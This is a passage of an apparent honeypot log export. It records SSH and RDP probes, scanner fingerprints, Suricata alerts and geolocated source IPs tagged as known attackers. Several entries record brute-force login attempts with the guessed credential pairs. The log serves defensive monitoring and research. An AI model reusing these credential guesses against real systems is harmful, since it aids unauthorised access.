"109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31143	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:42:26.836383+03	2021-09-20 14:45:04.103143+03	{"_id": "0gYDA3wBvYTbRNuEtkFi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "107.0.200.227", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53882, "timestamp": "2021-09-20T11:42:26.836383", "@timestamp": "2021-09-20T11:42:26.836Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31144	107.0.200.227	109.199.241.180	Fatt	2021-09-20 14:42:26.969475+03	2021-09-20 14:45:04.105143+03	{"_id": "0wYDA3wBvYTbRNuEtkFi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "107.0.200.227", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 53882, "dest_port": 22, "timestamp": "2021-09-20T11:42:26.969475", "@timestamp": "2021-09-20T11:42:26.969Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31145	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:42:36.006739+03	2021-09-20 14:45:04.106142+03	{"_id": "-gYDA3wBvYTbRNuE2UGO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 50099, "dest_port": 3389, "timestamp": "2021-09-20T11:42:36.006739", "@timestamp": "2021-09-20T11:42:36.006Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
31146	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:42:36.388719+03	2021-09-20 14:45:04.107142+03	{"_id": "AQYDA3wBvYTbRNuE3EKG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:42:35.660226+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 733045483836162, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 50099, "dest_port": 3389, "timestamp": "2021-09-20T11:42:36.388719Z", "@timestamp": "2021-09-20T11:42:36.388Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
31147	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:42:38.540636+03	2021-09-20 14:45:04.108142+03	{"_id": "CgYDA3wBvYTbRNuE4kKb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 128.199.123.0:53758 (192.168.176.2:22) [session: 26b6dd05f593]", "session": "26b6dd05f593", "@version": "1", "protocol": "ssh", "src_port": 53758, "dest_port": 22, "timestamp": "2021-09-20T11:42:38.540636Z", "@timestamp": "2021-09-20T11:42:38.540Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31148	128.199.123.0	109.199.241.180	Fatt	2021-09-20 14:42:38.897458+03	2021-09-20 14:45:04.110142+03	{"_id": "DQYDA3wBvYTbRNuE5UJI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "51cba57125523ce4b9db67714a90bf6e", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "ceastc": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "client": "SSH-2.0-libssh-0.6.3", "cmacts": "hmac-sha1", "cmastc": "hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}, "protocol": "ssh", "src_port": 53758, "dest_port": 22, "timestamp": "2021-09-20T11:42:38.897458", "@timestamp": "2021-09-20T11:42:38.897Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31149	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:42:38.718718+03	2021-09-20 14:45:04.112141+03	{"_id": "DwYDA3wBvYTbRNuE5kKE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh-0.6.3'", "session": "26b6dd05f593", "version": "b'SSH-2.0-libssh-0.6.3'", "@version": "1", "timestamp": "2021-09-20T11:42:38.718718Z", "@timestamp": "2021-09-20T11:42:38.718Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31150	8.9.231.227	109.199.241.180	Suricata	2021-09-20 14:42:40.284994+03	2021-09-20 14:45:04.113143+03	{"_id": "GwYDA3wBvYTbRNuE7EIo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.36.96.5341415109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:42:39.976422+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 789, "bytes_toserver": 1237}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "8.9.231.227", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 609335393642022, "payload": "AAAAVC4eAAAAIKjIRiNeRttsGSXlAP9txWTNiLbiDc6cvYNdPs1jjoBGgsuG3KKuRSOWqKZ4aZXgqKZE6mVo2/9FrD7P8BFd37kXhxgQBYU3Q02hMtIRzQ==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 62332, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:42:40.284994Z", "@timestamp": "2021-09-20T11:42:40.284Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T..... ..F#^F.l.%...m.d....\\r....]>.c..F......E#...xi....D.eh..E.>...]........7CM.2..."}}	1	\N	\N	alert	\N	\N
31151	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:42:40.139053+03	2021-09-20 14:45:04.115142+03	{"_id": "HAYDA3wBvYTbRNuE7UIa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "8.9.231.227", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 62332, "timestamp": "2021-09-20T11:42:40.139053", "@timestamp": "2021-09-20T11:42:40.139Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31152	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:42:36.42121+03	2021-09-20 14:45:04.116142+03	{"_id": "_wYDA3wBvYTbRNuE2kHJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/4v5b6n7m] failed", "session": "962f320b0dcc", "@version": "1", "password": "4v5b6n7m", "username": "root", "timestamp": "2021-09-20T11:42:36.421210Z", "@timestamp": "2021-09-20T11:42:36.421Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31153	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:42:36.388719+03	2021-09-20 14:45:04.118142+03	{"_id": "AgYDA3wBvYTbRNuE3EKG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:42:35.660226+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 733045483836162, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 50099, "dest_port": 3389, "timestamp": "2021-09-20T11:42:36.388719Z", "@timestamp": "2021-09-20T11:42:36.388Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
31154	8.9.231.227	109.199.241.180	Cowrie	2021-09-20 14:42:40.135194+03	2021-09-20 14:45:04.119142+03	{"_id": "FQYDA3wBvYTbRNuE6kJu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.9.231.227", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 8.9.231.227:62332 (192.168.176.2:22) [session: a406627620b1]", "session": "a406627620b1", "@version": "1", "protocol": "ssh", "src_port": 62332, "dest_port": 22, "timestamp": "2021-09-20T11:42:40.135194Z", "@timestamp": "2021-09-20T11:42:40.135Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
31155	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:42:39.699925+03	2021-09-20 14:45:04.120143+03	{"_id": "FgYDA3wBvYTbRNuE6kJu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.login.failed", "message": "login attempt [root/pippo123] failed", "session": "26b6dd05f593", "@version": "1", "password": "pippo123", "username": "root", "timestamp": "2021-09-20T11:42:39.699925Z", "@timestamp": "2021-09-20T11:42:39.699Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31156	8.9.231.227	109.199.241.180	Cowrie	2021-09-20 14:42:40.138+03	2021-09-20 14:45:04.122142+03	{"_id": "FwYDA3wBvYTbRNuE6kJu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.9.231.227", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.36.96.5341415109.199.241.180'", "session": "a406627620b1", "version": "b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.36.96.5341415109.199.241.180'", "@version": "1", "timestamp": "2021-09-20T11:42:40.138000Z", "@timestamp": "2021-09-20T11:42:40.138Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
31157	8.9.231.227	109.199.241.180	Cowrie	2021-09-20 14:42:40.285673+03	2021-09-20 14:45:04.123142+03	{"_id": "GAYDA3wBvYTbRNuE6kJu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "3des-ctr"], "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "63bec3855e65ea71385ce2634bf2f234", "macCS": ["hmac-sha2-256", "hmac-sha1"], "compCS": ["none", "zlib"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "8.9.231.227", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-1.3.132.0.10", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "diffie-hellman-group16-sha512", "diffie-hellman-group15-sha512", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "ext-info-c"], "keyAlgs": ["rsa-sha2-512", "rsa-sha2-256", "ssh-ed25519", "ecdsa-sha2-1.3.132.0.10", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 63bec3855e65ea71385ce2634bf2f234", "session": "a406627620b1", "@version": "1", "timestamp": "2021-09-20T11:42:40.285673Z", "@timestamp": "2021-09-20T11:42:40.285Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}}	1	\N	cowrie.client.kex	\N	\N	\N
31158	8.9.231.227	109.199.241.180	Cowrie	2021-09-20 14:42:40.572284+03	2021-09-20 14:45:04.124191+03	{"_id": "GQYDA3wBvYTbRNuE6kJu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.9.231.227", "eventid": "cowrie.login.failed", "message": "login attempt [admin/admin] failed", "session": "a406627620b1", "@version": "1", "password": "admin", "username": "admin", "timestamp": "2021-09-20T11:42:40.572284Z", "@timestamp": "2021-09-20T11:42:40.572Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
31159	8.9.231.227	109.199.241.180	Suricata	2021-09-20 14:42:40.284904+03	2021-09-20 14:45:04.126142+03	{"_id": "GgYDA3wBvYTbRNuE7EIo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.36.96.5341415109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "8.9.231.227", "dest_ip": "192.168.20.116", "flow_id": 609335393642022, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 62332, "dest_port": 22, "timestamp": "2021-09-20T11:42:40.284904Z", "@timestamp": "2021-09-20T11:42:40.284Z", "event_type": 